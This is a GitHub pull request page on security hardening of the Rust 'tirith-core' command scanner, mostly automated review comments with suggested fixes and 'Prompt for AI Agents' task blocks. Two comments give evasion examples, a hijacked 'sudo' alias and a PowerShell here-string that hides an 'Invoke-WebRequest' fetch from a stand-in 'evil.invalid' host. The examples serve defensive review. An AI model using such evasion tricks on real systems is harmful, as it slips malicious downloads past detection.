fix(security): DeepSec R2 1/2: core hardening queue - #187
Conversation
📝 WalkthroughWalkthroughThis pull request adds bounded processing, fail-closed behavior, safer filesystem and persistence operations, expanded detection logic, output-analysis overflow reporting, and related CLI and test updates across the Rust core. ChangesSecurity and analysis hardening
Estimated code review effort: 5 (Critical) | ~120 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches📝 Generate docstrings
Comment |
|
@coderabbitai review |
|
@greptileai review |
|
![greptile-apps[bot]](https://avatars.githubusercontent.com/in/867647?s=60&v=4){kind=small}
|
@coderabbitai review |
|
@greptileai review |
✅ Action performedReview finished.
|
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 17
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (10)
crates/tirith-core/src/aliases.rs (1)
752-781: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winSingle-line fish blocks unbalance the nesting counter and swallow later definitions.
The counter inspects only the first word of each line. fish allows a complete block on one line, for example
if true; echo hi; end. That line incrementsnesting, and its inlineendis not the first word, sonestingnever returns to 0. The function's realendthen decrements instead of closing, the loop runs to EOF,closedstaysfalse, andijumps past every following line.Effect: definitions after such a function are never parsed, so their findings are lost.
function f if true; echo hi; end end alias sudo='sudo evil-wrapper'
alias sudois consumed and never classified.Count block openers and terminators per line rather than per first word.
🐛 Proposed fix
while j < lines.len() { let bl = strip_leading(lines[j]); - let first_word = bl.split_whitespace().next().unwrap_or(""); - match first_word { - "if" | "for" | "while" | "switch" | "begin" | "function" => { - nesting += 1; - } - "end" => { - if nesting == 0 { - closed = true; - break; - } - nesting -= 1; - } - _ => {} - } + // Count every block keyword on the line, in order, so a + // single-line `if true; echo hi; end` nets out to zero. + let mut line_closed = false; + for word in bl.split(|c: char| c.is_whitespace() || c == ';') { + match word { + "if" | "for" | "while" | "switch" | "begin" | "function" => { + nesting += 1; + } + "end" => { + if nesting == 0 { + line_closed = true; + break; + } + nesting -= 1; + } + _ => {} + } + } + if line_closed { + closed = true; + break; + }Note that
nestingmust not count a keyword inside a quoted string; if that matters, reuse a small tokenizer instead ofsplit.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/aliases.rs` around lines 752 - 781, Update the function-body scan around nesting so each line counts block openers and terminators, including inline forms such as `if true; echo hi; end`, rather than inspecting only the first word. Ensure keywords inside quoted strings are ignored, reusing an available tokenizer or adding a small quote-aware tokenizer, and close the function when the nesting balance returns to zero so later definitions remain parseable.crates/tirith-core/src/artifact/release_diff.rs (1)
138-153: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winRender direct new-artifact findings in human output.
ReleaseDiff::evaluateaddsnew_inspection_findingstoverdict.findings, butrender_diff_human_torenders only coverage gaps and anomalies. If both are empty, it prints “no release anomaly” even whenRuleId::NativeImportExecutionChainblocks the release. Render the relevant verdict findings before the clean-result branch.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/artifact/release_diff.rs` around lines 138 - 153, Update render_diff_human_to to render relevant verdict.findings, including new_inspection_findings such as RuleId::NativeImportExecutionChain, before the clean-result branch. Ensure the “no release anomaly” message is emitted only when coverage gaps, anomalies, and applicable findings are all absent.crates/tirith-core/src/audit_upload.rs (1)
138-146: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winTake the spool lock before clearing the spool.
Line 140 calls
fs::write(&path, "")outsidewith_spool_lock. This truncates the spool while another process can hold the lock and append. The event that another process just appended is then lost. This path also bypasses the suffix verification thatrewrite_spoolperforms for every other clear.Route the clear through the same lock, and prefer
rewrite_spool(&path, &[])so the truncation follows one code path.🔒 Proposed fix
let lines = enforce_retention(lines, max_events, max_bytes); if lines.is_empty() { - if let Err(e) = fs::write(&path, "") { - crate::audit::audit_diagnostic(format!( - "tirith: audit-spool: failed to clear spool: {e}" - )); - } + // Clear under the spool lock so a concurrent append is not destroyed. + rewrite_spool(&path, &[]); return; }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/audit_upload.rs` around lines 138 - 146, Update the empty-result branch in the audit upload flow to clear the spool through with_spool_lock, using rewrite_spool(&path, &[]) instead of direct fs::write. Preserve the existing diagnostic handling for clear failures and ensure the suffix verification and locking behavior shared by rewrite_spool are used.crates/tirith-core/src/threatdb.rs (1)
2196-2258: 🎯 Functional Correctness | 🟠 Major | 🏗️ Heavy liftSuffix matching treats any two-label suffix as a controllable zone.
lookup_hostname_with_domain_scopewalks parent suffixes and stops only when the remaining suffix has fewer than two labels. Two labels is not the registrable boundary for many suffixes. A feed indicator for a multi-label public suffix or a shared-hosting zone therefore matches every unrelated host beneath it. Examples:github.io,pages.dev,web.app,blogspot.com,co.uk,com.au. The hostname feeds inthreatdb_feeds.rsare network-sourced, so one bad entry produces broad false positives that block unrelated traffic.Two options:
- Resolve the boundary with a public-suffix list, and never match at or above the registrable domain.
- Restrict suffix matching to indicators that the feed explicitly marks as zone-scoped, and keep exact matching for everything else.
A second, separate effect: line 2252 stores the queried hostname in
ThreatMatch.name, so the matched indicator is lost. An operator cannot tell whetherrandom.bad.examplewas itself listed or matched through thebad.exampleparent zone. Carry the matched indicator alongside the queried name so findings and audit records keep that evidence.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/threatdb.rs` around lines 2196 - 2258, Update lookup_hostname_with_domain_scope and lookup_hostname_exact to stop suffix traversal at the actual registrable-domain boundary using the project’s public-suffix resolution, preventing matches at or above multi-label public/shared suffixes while preserving exact lookups. Propagate the matched candidate indicator into ThreatMatch.name for suffix matches, while retaining the queried hostname separately if the existing ThreatMatch model supports it; ensure exact matches still report the exact indicator.crates/tirith-core/src/threatdb_feeds.rs (1)
26-54: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick winAll four feed parsers now discard the whole feed on one malformed row. The shared root cause is
.flexible(false)combined with?on every record: a single ragged or malformed row aborts the entire parse, so no indicator from that export is ingested and the threat database silently keeps stale content. Header validation should stay strict; per-record failures should be counted and capped instead.
crates/tirith-core/src/threatdb_feeds.rs#L26-L54: keep theurlheader check, but count malformed URLhaus records against a threshold instead of returning on the firstrecorderror.crates/tirith-core/src/threatdb_feeds.rs#L57-L118: keep theiocheader check, and apply the same bounded malformed-record counter to ThreatFox.crates/tirith-core/src/threatdb_feeds.rs#L151-L174: keep theurlheader check, and apply the same bounded malformed-record counter to PhishTank.crates/tirith-core/src/threatdb_feeds.rs#L201-L282: apply the same bounded malformed-record counter to the DigitalSide MISP export, where trailing-field variance is common.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/threatdb_feeds.rs` around lines 26 - 54, Update the feed parser logic so malformed records are counted against a shared bounded threshold instead of propagating the first record error; retain strict header validation and continue processing valid rows, including trailing-field variance where required. Apply this to parse_urlhaus_csv in crates/tirith-core/src/threatdb_feeds.rs lines 26-54, the ThreatFox parser at lines 57-118, the PhishTank parser at lines 151-174, and the DigitalSide MISP parser at lines 201-282, preserving each parser’s existing header checks and hostname/IOC extraction behavior.crates/tirith-core/src/session_warnings.rs (1)
722-724: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winSanitize execution-history warning titles before persistence.
record_fresh_correlation_warningsuses built-in titles, so it cannot receive custom-rule titles. The unsanitized path isderive_warning_prototypes→materialize_draft_history;tirith warnings --jsonserializes the stored title directly. Sanitizefinding.titlebefore truncation.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/session_warnings.rs` around lines 722 - 724, Sanitize each finding.title in the execution-history persistence path before truncating or storing it, specifically within derive_warning_prototypes/materialize_draft_history rather than record_fresh_correlation_warnings. Ensure custom-rule titles are sanitized before tirith warnings --json serializes the persisted warning title, while preserving the existing built-in title behavior.crates/tirith-core/src/deobfuscate.rs (1)
828-908: 🚀 Performance & Scalability | 🟡 Minor | ⚡ Quick winAccount for base64/hex overlap in
MAX_DECODE_CANDIDATES.Each hex run is also charged by
base64_forms. Both decoders run across the original input and up to three normalized variants. Therefore, 33 distinct 16-character hex runs can exhaust the 256-candidate budget before all runs are decoded. The next candidate setsbase64_truncated, which blocks prompt-injection checks. Size the cap for decoder/pass overlap, or charge each source region once.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/deobfuscate.rs` around lines 828 - 908, Update the decode candidate budgeting used by decode_pass, base64_forms, and hex_forms so overlapping base64 and hex recognition does not exhaust MAX_DECODE_CANDIDATES prematurely across the original text and normalized variants. Either size the cap to account for both decoder passes and all variants, or ensure each source region is charged only once; preserve base64_truncated only for genuinely unprocessed candidates.crates/tirith-core/src/incident.rs (1)
146-163: 🔒 Security & Privacy | 🟡 Minor | ⚡ Quick winSanitize
IncidentState::reasonat every human terminal sinkHuman
incident start,incident status, the already-active error path, andincident reportprintreasonwithout terminal sanitization. Apply the existing display sanitizer before these writes. Keep raw values only in structured JSON output.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/incident.rs` around lines 146 - 163, Apply display_sanitize_single_line to IncidentState::reason before every human-readable terminal output in the incident start, status, already-active error, and report paths. Update the relevant formatting methods, including StartError::AlreadyActive, while preserving raw reason values only for structured JSON serialization.crates/tirith-core/src/path_audit.rs (1)
307-325: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winWindows resolution can return the same executable twice.
Line 310 builds
dir.join(command)and line 311 pushes it whenis_executable_fileis true. On Windows,resolve_windows_candidatesalso returns the exactcommandname when the command carries an extension (line 370-371). Forwhich_all_os("git.exe", …)both branches resolve the same file, sooutreceives two entries. NTFS is case-insensitive, so a listing entryGIT.EXEproduces a second path that differs only in spelling.
which_allfeeds duplicate-command detection, so a duplicate inside one directory can raise a falsePathDuplicateCommandNamefinding.Gate the generic push to non-Windows, and let
resolve_windows_candidatesown Windows resolution.Proposed fix
for dir in std::env::split_paths(path_value) { - let candidate = dir.join(command); - if is_executable_file(&candidate) { - out.push(candidate); + #[cfg(not(windows))] + { + let candidate = dir.join(command); + if is_executable_file(&candidate) { + out.push(candidate); + } } #[cfg(windows)] { out.extend(resolve_windows_candidates(&dir, command)); } }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/path_audit.rs` around lines 307 - 325, Update which_all_os so the generic is_executable_file check and push run only on non-Windows targets; on Windows, let resolve_windows_candidates exclusively produce command paths, preserving its extension and case-insensitive resolution behavior.crates/tirith-core/src/mcp/resources.rs (1)
59-81: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winPropagate the completeness policy through
read_project_safety.When
scan.require_completeis enabled or a coverage gap resolves toGapAction::Fail, includecompleteness_policy_violatedand setis_errortotrue. Extract the shared predicate and use it inread_contentandcall_scan_directory.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/mcp/resources.rs` around lines 59 - 81, Extract the completeness-violation predicate from read_project_safety and reuse it in read_content and call_scan_directory, treating enabled scan.require_complete or any coverage gap mapped to GapAction::Fail as a violation. Include completeness_policy_violated in each affected response and set is_error to true when the predicate is satisfied, while preserving existing behavior for compliant scans.
🟡 Minor comments (18)
crates/tirith-core/src/aliases.rs-572-591 (1)
572-591: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winConsider PowerShell here-strings in the PowerShell dialect.
The balancer models POSIX heredocs, so a
}inside<<EOFno longer ends a body early. The PowerShell dialect has the equivalent construct:@"…"@and@'…'@here-strings. A}inside a PowerShell here-string still decrementsdepth, so the same early-termination shape that repo-0242 closed for POSIX stays open for PowerShell function bodies.Example that ends collection at the here-string brace:
function Get-Thing { $t = @" } "@ Invoke-WebRequest https://evil.invalid/x }The trailing
Invoke-WebRequestthen falls outside the scanned body, sobody_network_toolnever sees it.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/aliases.rs` around lines 572 - 591, Update the PowerShell handling in the character-processing match around the existing backtick and quote cases to recognize here-string delimiters @“ and @‘, track when parsing is inside a PowerShell here-string, and ignore braces until the matching closing “@ or ‘@ delimiter. Preserve normal PowerShell quote and brace-depth behavior outside here-strings so function bodies continue scanning through the entire here-string content.crates/tirith-core/src/mcp/response_inspect.rs-172-181 (1)
172-181: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winRestore the budget with a
Dropguard so it cannot leak across responses.The wrapper clears
URI_SCREEN_BUDGETonly on the normal return path. Two consequences:
- If
inspect_response_innerpanics, the thread keeps a partially consumed budget. A pooled thread that serves a later response can then emittoo many URIs to validate in one responsefor a response that contains few URLs.- A nested
inspect_responsecall on the same thread resets the outer budget on entry and clears it on exit, so the remainder of the outer scan runs unbounded.An RAII guard restores the previous value in both cases.
🛡️ Proposed fix
) -> InspectOutcome { // repo-0296: every http(s) string screened below goes through blocking DNS // validation. Cap the number of resolutions per response so a URL-dense // hostile reply cannot stall the sole upstream-response path; overflowing // URIs are violations (fail-closed), not skips. - URI_SCREEN_BUDGET.with(|b| b.set(Some(MAX_URI_SCREENS_PER_RESPONSE))); - let outcome = inspect_response_inner(result, kind, ctx); - URI_SCREEN_BUDGET.with(|b| b.set(None)); - outcome + let _budget = UriScreenBudgetGuard::activate(); + inspect_response_inner(result, kind, ctx) } + +/// Restores the previous budget on drop, so a panic or a nested +/// `inspect_response` cannot leave a stale budget on this thread. +struct UriScreenBudgetGuard(Option<usize>); + +impl UriScreenBudgetGuard { + fn activate() -> Self { + let previous = + URI_SCREEN_BUDGET.with(|b| b.replace(Some(MAX_URI_SCREENS_PER_RESPONSE))); + Self(previous) + } +} + +impl Drop for UriScreenBudgetGuard { + fn drop(&mut self) { + URI_SCREEN_BUDGET.with(|b| b.set(self.0)); + } +}🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/mcp/response_inspect.rs` around lines 172 - 181, Update the response-inspection wrapper around inspect_response_inner to use an RAII Drop guard that captures the existing URI_SCREEN_BUDGET value, sets MAX_URI_SCREENS_PER_RESPONSE for the current response, and restores the captured value on scope exit. Ensure restoration occurs during panics and nested inspect_response calls, preserving any outer budget rather than unconditionally clearing it.crates/tirith-core/tests/golden_fixtures.rs-857-863 (1)
857-863: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winAdd unit tests for
OutputAnalysisOverflow.
rules/output.rs::checkemits this rule only whenOutputScanResult.dropped_hits > 0. Existing overflow tests coverOutputTruncatedEscapeSequenceand the 16 KiB OSC payload cap, not the 4096-hit retention cap. Add tests that produce 4097 hits and assertdropped_hits > 0andRuleId::OutputAnalysisOverflow.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/tests/golden_fixtures.rs` around lines 857 - 863, Add unit tests for the 4096-hit retention cap in the output-analysis tests, generating 4097 scanner hits and asserting that OutputScanResult.dropped_hits is greater than zero and the emitted rule is RuleId::OutputAnalysisOverflow. Keep the existing OutputTruncatedEscapeSequence and 16 KiB OSC payload tests unchanged, and remove output_analysis_overflow from the golden-fixture exclusion list once covered.crates/tirith-core/src/session.rs-204-223 (1)
204-223: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winRead-after-write narrows the create race; it does not close it, so soften the claim or take the store lock.
The comment states that every concurrent first invocation converges on one session. Two processes can still diverge: process A renames its file, process A re-reads and sees its own ID, then process B renames and re-reads and sees B's ID. A returns A's ID and B returns B's ID.
This PR already adds the correct primitive for this class of race in
taint.rs:with_store_locktakes an exclusivefs2lock on a sibling.lockfile around the read-modify-write. Reuse that pattern here, or restate the comment as best-effort convergence.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/session.rs` around lines 204 - 223, Update the session creation logic around the read-after-write block so concurrent first invocations cannot return divergent IDs: reuse the existing taint.rs with_store_lock pattern to hold an exclusive store lock across the winner read-modify-write sequence. If locking is not applied, soften the comment’s claim to describe best-effort convergence rather than guaranteeing every invocation converges.crates/tirith-core/src/deobfuscate.rs-415-433 (1)
415-433: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winPadding in the final window breaks the selected engine, so an over-window padded run loses its tail.
Engine selection runs on the first window only. For a run longer than
MAX_BASE64_VALIDATE_LEN, the first window contains no=, soSTANDARDfails andSTANDARD_NO_PADis selected. The final window then carries the=padding,STANDARD_NO_PADrejects it, anddecode_base64_windowedbreaks withtruncated = true. The decoded tail is dropped, and the doc claim that "the COMPLETE decoded stream is recovered whenever it fits the budget" does not hold for padded runs.The flag keeps the result fail-closed, so this is not a silent miss. Decode the final window with the padding-tolerant variant of the selected alphabet.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/deobfuscate.rs` around lines 415 - 433, Update try_decode_base64 and decode_base64_windowed so an engine selected from the initial window can decode a final window containing padding. Preserve the selected alphabet while switching to its padding-tolerant variant for the final chunk, ensuring padded runs recover their complete decoded stream when within max_decoded and retain fail-closed truncation behavior otherwise.crates/tirith-core/src/threatdb_api.rs-674-684 (1)
674-684: 🚀 Performance & Scalability | 🟡 Minor | ⚡ Quick winClean URLs are never cached, so the comment overstates the behavior and every scan re-queries them.
Line 724 states that the per-URL outcome is cached for "positive match or confirmed-clean empty response".
store_cacheis called only for entries drained fromparsed.matches. A URL with no match is never written, so it is re-sent to the paid API on every scan. That is the quota spend repo-0348 aims to bound.Two related points at the cache-hit path:
- Line 678 uses
matches.first()and reports one threat type, while the network path at line 738 reports every match. The two paths give different findings for the same URL.- The cache key and the reported URL both come from
m.threat_entry.url, which the API echoes back. If Safe Browsing returns a canonicalized form, the entry is stored under a key that the next request URL does not produce, so the cache never hits.Either cache negative results explicitly and key both paths on the request URL, or correct the comment.
Also applies to: 724-739
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/threatdb_api.rs` around lines 674 - 684, Update the Safe Browsing cache flow around load_cache and store_cache so confirmed-clean URLs are cached explicitly and reused on subsequent scans. Key cache entries and reported results by the original request URL rather than the API’s echoed threat_entry.url, and make cache-hit handling report every cached match consistently with the network path instead of only matches.first().crates/tirith-core/src/threatdb_api.rs-866-883 (1)
866-883: 🔒 Security & Privacy | 🟡 Minor | ⚡ Quick winThe URL path is transmitted unchanged, so the stated protection for reset links is incomplete.
The doc states that password-reset links and bearer tokens are not transmitted. Only userinfo, query, and fragment are removed. Reset tokens, invite tokens, and webhook secrets are frequently carried in the path (for example
https://host/reset/<token>or a chat webhook path). Those still reach the third party and are written to the on-disk cache.Safe Browsing needs the path to evaluate a URL, so removing it is not an option. State the residual exposure in the doc comment, or add an operator control that limits submissions to the origin.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/threatdb_api.rs` around lines 866 - 883, Update the privacy_scrub_url documentation to explicitly state that sensitive tokens embedded in the URL path remain exposed to the Safe Browsing service and on-disk cache, while preserving the path because Safe Browsing requires it. Do not claim that all password-reset, invite, or webhook secrets are protected unless an existing operator-controlled origin-only submission option is implemented.crates/tirith-core/src/devcontainer_writer.rs-28-46 (1)
28-46: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winThe doc comment overstates what
regular_file_no_followchecks.The comment states that "every component of its parent directory is likewise not a symlink". The code checks only the immediate parent through one
symlink_metadatacall. An intermediate directory higher in the path is not inspected here. Containment for the write path comes fromContainedAtomicFile, not from this helper. Correct the comment so a later reader does not rely on a guarantee this function does not provide.📝 Proposed doc fix
/// True only when `path` exists as a REGULAR file reached without following a -/// final symlink, and every component of its parent directory is likewise not -/// a symlink (repo-0271). `is_file()` follows links and would accept a -/// repository-planted redirect outside the project. +/// final symlink, and its IMMEDIATE parent is a real directory rather than a +/// symlink (repo-0271). `is_file()` follows links and would accept a +/// repository-planted redirect outside the project. Full-path containment is +/// enforced by `ContainedAtomicFile` on the write path, not here.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/devcontainer_writer.rs` around lines 28 - 46, Correct the doc comment for regular_file_no_follow to state that it rejects symlinks for the file itself and checks only its immediate parent directory, without claiming that all ancestor components are validated. Keep the implementation unchanged and note that broader write-path containment is provided by ContainedAtomicFile.crates/tirith/src/cli/devcontainer.rs-108-112 (1)
108-112: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winThe canonicalize fallback contradicts the containment comment.
Line 108 states that containment is proven against the canonical workspace root. Line 109 falls back to the non-canonical path when
canonicalizefails, and the failure is not reported. The user then gets containment proven against an unresolved path with no diagnostic.ContainedAtomicFilestill validates the destination, so this is not an escape, but the operator loses the signal.Report the failure, or fail the command when the workspace root cannot be resolved.
🛡️ Proposed change
- // Containment is proven against the canonical workspace root (repo-0376). - let cwd = std::fs::canonicalize(&cwd).unwrap_or(cwd); + // Containment is proven against the canonical workspace root (repo-0376). + let cwd = match std::fs::canonicalize(&cwd) { + Ok(canonical) => canonical, + Err(e) => { + eprintln!( + "tirith devcontainer inject: cannot canonicalize {}: {e}", + cwd.display() + ); + return 1; + } + };🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith/src/cli/devcontainer.rs` around lines 108 - 112, Update the workspace-root resolution before find_devcontainer_json and inject_tirith_hook to handle std::fs::canonicalize failure explicitly: report the error or terminate the command instead of silently reusing the unresolved cwd. Preserve the canonical-root containment behavior for successful resolution.crates/tirith-core/src/ecosystem_scan.rs-1015-1030 (1)
1015-1030: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winA direct reference without spaces around
@yields no assessed package name.Name extraction runs only when the line contains
" @ ". PEP 508 allowspkg@https://host/x.whlwith no spaces. Such a line matchescontains("://"), is recorded as an unsupported source, and thencontinues, sopkgis never assessed against the threat database. An attacker controlling a requirements file can therefore keep a known-malicious name out of the assessed inventory while only a generic note is emitted.Split on the first
@when" @ "is absent.🐛 Proposed fix
unsupported_sources.push(line.to_string()); - if let Some((name, _)) = line.split_once(" @ ") { - if let Some(name) = python_requirement_name(name.trim()) { + let head = line + .split_once(" @ ") + .or_else(|| line.split_once('@')) + .map(|(name, _)| name); + if let Some(head) = head { + if let Some(name) = python_requirement_name(head.trim()) { out.push(DeclaredDependency {🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/ecosystem_scan.rs` around lines 1015 - 1030, Update the direct-reference handling in the ecosystem scan to extract the package name from the first `@` when the line contains a URL but not `" @ "`, while preserving the existing spaced-reference behavior. Ensure the extracted name still passes through `python_requirement_name` and produces a PyPI `DeclaredDependency` before the unsupported source is recorded or processing continues.crates/tirith-core/src/context_detect.rs-190-199 (1)
190-199: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
KUBECONFIGlists only fingerprint the first path.
kubectlmerges every path inKUBECONFIG. A context change written to a later file leaveskubeconfig_envand the first path's mtime unchanged, so the cache is honored for the rest of the TTL. Fingerprint every entry in the list.🛡️ Proposed fix: record the mtime of each list entry
- kubeconfig_mtime: std::env::var("KUBECONFIG") - .ok() - .and_then(|v| { - let separator = if cfg!(windows) { ';' } else { ':' }; - v.split(separator).next().map(str::trim).map(String::from) - }) - .as_deref() - .map(std::path::Path::new) - .and_then(file_mtime), + kubeconfig_mtimes: std::env::var("KUBECONFIG") + .ok() + .map(|v| { + let separator = if cfg!(windows) { ';' } else { ':' }; + v.split(separator) + .map(str::trim) + .filter(|p| !p.is_empty()) + .map(|p| file_mtime(std::path::Path::new(p))) + .collect::<Vec<_>>() + }) + .unwrap_or_default(),The struct field type changes to
Vec<Option<SystemTime>>.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/context_detect.rs` around lines 190 - 199, Update the KUBECONFIG fingerprinting in the context-detection struct to process every separator-delimited path rather than only the first entry, and change the corresponding field type to Vec<Option<SystemTime>> as required. Preserve platform-specific separators, trim each path, and collect each entry’s file_mtime result so cache validation detects changes in any configured file.crates/tirith-core/src/ecosystem_scan.rs-2605-2619 (1)
2605-2619: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winCover the qualified allowlist form in the test
Ecosystemformats as lowercase, so the implementation does not have the reported case mismatch. The test still repeats the bare pattern and does not exerciseeco:name. Usenpm:left-padin a separate allowlist policy.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/ecosystem_scan.rs` around lines 2605 - 2619, Update the test for rule_scoped_allowlisted to use a separate allowlist policy containing the qualified pattern “npm:left-pad” instead of repeating the bare “left-pad” pattern, and assert that this qualified form is accepted.crates/tirith-core/src/ecosystem_scan.rs-1231-1246 (1)
1231-1246: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winUse Poetry lockfile groups to classify development dependencies
Poetry 1.5 and later omit
categoryand store package group membership ingroups. Whencategoryis absent, classify non-maingroups as development dependencies instead of settingdevtofalse.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/ecosystem_scan.rs` around lines 1231 - 1246, Update the PyPI dependency parsing near DeclaredDependency construction to derive dev from the package’s groups when category is absent: classify the dependency as development if any group is not "main", while preserving the existing category == "dev" behavior when category is present. Use the package groups data exposed by the lockfile parser and keep the existing default for packages without group information.crates/tirith-core/src/script_analysis.rs-7-13 (1)
7-13: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick winPropagate
references_cappedto receipt output.ReceiptandPublicReceiptomit the cap flag, so receipt consumers cannot distinguish capped lists from complete lists. Add the flag, propagate it fromrunner.rs, and update related documentation and tests.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/script_analysis.rs` around lines 7 - 13, Propagate ScriptAnalysis.references_capped through the receipt pipeline: add the field to Receipt and PublicReceipt, set it from the analysis result in runner.rs, and update associated documentation and tests to cover capped versus complete reference lists.crates/tirith-core/src/normalize.rs-149-217 (1)
149-217: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winHandle
PercentDecodedView::invalidinrules/path.rs. Malformed ASCII triplets such as/x%GGy,/x%, and/x%4setinvalidbut leavedecodedunchanged, so the path rule emits no finding. Add explicit handling forview.invalid;repeated_encodedis already handled.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/normalize.rs` around lines 149 - 217, Update the path-rule logic in rules/path.rs to explicitly handle PercentDecodedView::invalid after calling percent_decoded_view, so malformed ASCII escapes such as incomplete or non-hex triplets produce the required finding even when decoded is unchanged. Preserve the existing repeated_encoded handling and avoid altering percent_decoded_view.crates/tirith/src/cli/package.rs-604-618 (1)
604-618: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winThe gate trims the version, but the query does not.
is_exact_osv_versionshadowsvwithv.trim()at Line 1133, so" 1.2.3"passes the gate. Line 609 then queries OSV with the untrimmedv, which still carries the leading space. OSV cannot match that string, so the empty result is recorded as a successful lookup with no advisories — the exact misclassification this change prevents.Normalize once at the call site and pass the normalized value.
🐛 Proposed fix
if let Some(v) = version { + let v = v.trim(); // repo-0306: OSV answers EXACT-version queries only. A range // (`^18.0.0`, `>=1.2,<2.0`) or sigil-prefixed value must not be // sent as if exact — an empty response would be misclassified as // verified-clean. Mark the lookup unavailable instead. if is_exact_osv_version(v) {Also add unit tests for
is_exact_osv_version. The provided ranges show none, and this helper decides whether a vulnerability lookup runs at all.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith/src/cli/package.rs` around lines 604 - 618, Normalize the version once before the OSV lookup in the exact-version branch, and pass that trimmed value to tirith_core::osv_correlation::for_package_with_state while preserving the existing gate and state handling. Add unit tests for is_exact_osv_version covering valid exact versions, whitespace-trimmed versions, ranges, and sigil-prefixed values.crates/tirith-core/src/rules/threatintel.rs-1243-1272 (1)
1243-1272: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winA repeated URL re-emits the hostname finding that the exact match should subsume.
